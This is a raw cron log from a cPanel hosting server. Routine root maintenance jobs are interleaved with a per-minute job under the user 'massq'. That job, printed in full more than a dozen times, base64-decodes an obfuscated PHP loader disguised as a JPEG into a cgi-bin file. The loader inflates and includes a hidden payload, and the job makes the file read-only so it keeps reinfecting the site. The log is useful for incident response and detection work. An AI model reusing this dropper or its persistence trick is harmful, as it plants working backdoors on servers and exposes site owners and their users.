Sep  7 13:20:01 server CROND[18872]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 13:20:01 server CROND[18873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:20:01 server CROND[18871]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:20:01 server CROND[18874]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:20:01 server CROND[18876]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 13:21:01 server CROND[19819]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:21:01 server CROND[19820]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:21:01 server CROND[19821]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:22:01 server CROND[20262]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:22:01 server CROND[20263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:22:01 server CROND[20264]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:23:01 server CROND[20653]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:23:01 server CROND[20655]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:23:01 server CROND[20654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:24:01 server CROND[21048]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:24:01 server CROND[21049]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:24:01 server CROND[21050]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:25:01 server CROND[21443]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 13:25:01 server CROND[21447]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 13:25:01 server CROND[21445]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:25:01 server CROND[21446]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:25:01 server CROND[21444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:25:01 server CROND[21448]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 13:25:01 server CROND[21449]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 13:26:01 server CROND[22373]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:26:01 server CROND[22374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:26:01 server CROND[22375]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:27:01 server CROND[22783]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:27:01 server CROND[22790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:27:01 server CROND[22785]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:27:01 server CROND[22784]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 13:28:01 server CROND[23322]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:28:01 server CROND[23324]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:28:01 server CROND[23323]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:29:01 server CROND[23767]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:29:01 server CROND[23768]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:29:01 server CROND[23769]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:30:01 server CROND[24166]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 13:30:01 server CROND[24167]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 13:30:01 server CROND[24172]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:30:01 server CROND[24168]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 13:30:01 server CROND[24169]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 13:30:01 server CROND[24171]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:30:01 server CROND[24173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:30:01 server CROND[24174]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 13:31:01 server CROND[25069]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:31:01 server CROND[25070]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:31:01 server CROND[25068]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:32:01 server CROND[25552]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
